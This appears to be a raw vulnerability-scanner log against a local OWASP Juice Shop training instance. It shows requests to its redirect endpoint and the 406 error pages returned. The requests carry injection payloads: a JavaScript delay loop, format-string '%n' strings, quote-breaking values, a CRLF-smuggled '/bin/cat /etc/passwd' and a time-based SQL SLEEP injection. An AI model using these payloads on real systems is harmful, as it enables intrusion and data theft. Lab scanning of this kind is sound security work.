b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: ";var cd;var d=new Date();do{cd=new Date();}while(cd-d<8000);var x="</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: ";var cd;var d=new Date();do{cd=new Date();}while(cd-d<8000);var x="</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=var%20cd%3Bvar%20d%3Dnew%20Date%28%29%3Bdo%7Bcd%3Dnew%20Date%28%29%3B%7Dwhile%28cd-d%3C8000%29 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:45 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: var cd;var d=new Date();do{cd=new Date();}while(cd-d<8000)</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: var cd;var d=new Date();do{cd=new Date();}while(cd-d<8000)</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=%25n%25n%25n%25n%25n%25n%25n%25n%25n%25n%25n%25n%25n%25n%25n%25n%25n%25n%25n%25n%25n%25n%25n%25n%25n HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:42 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: %n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: %n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=%25n HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:42 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: %n</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: %n</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=a%27b%22c%27d%22 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:42 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: a'b"c'd"</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: a'b"c'd"</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=1%272%223 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:42 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: 1'2"3</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: 1'2"3</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=%0D%0A%2Fbin%2Fcat%20%2Fetc%2Fpasswd HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:42 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: \r</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: \r</h2>\n <ul id="stacktrace"><li>/bin/cat /etc/passwd</li><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=%22%2B%28SELECT%20%2A%20FROM%20%28SELECT%28SLEEP%288%29%29%29foo%29%2B%22 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
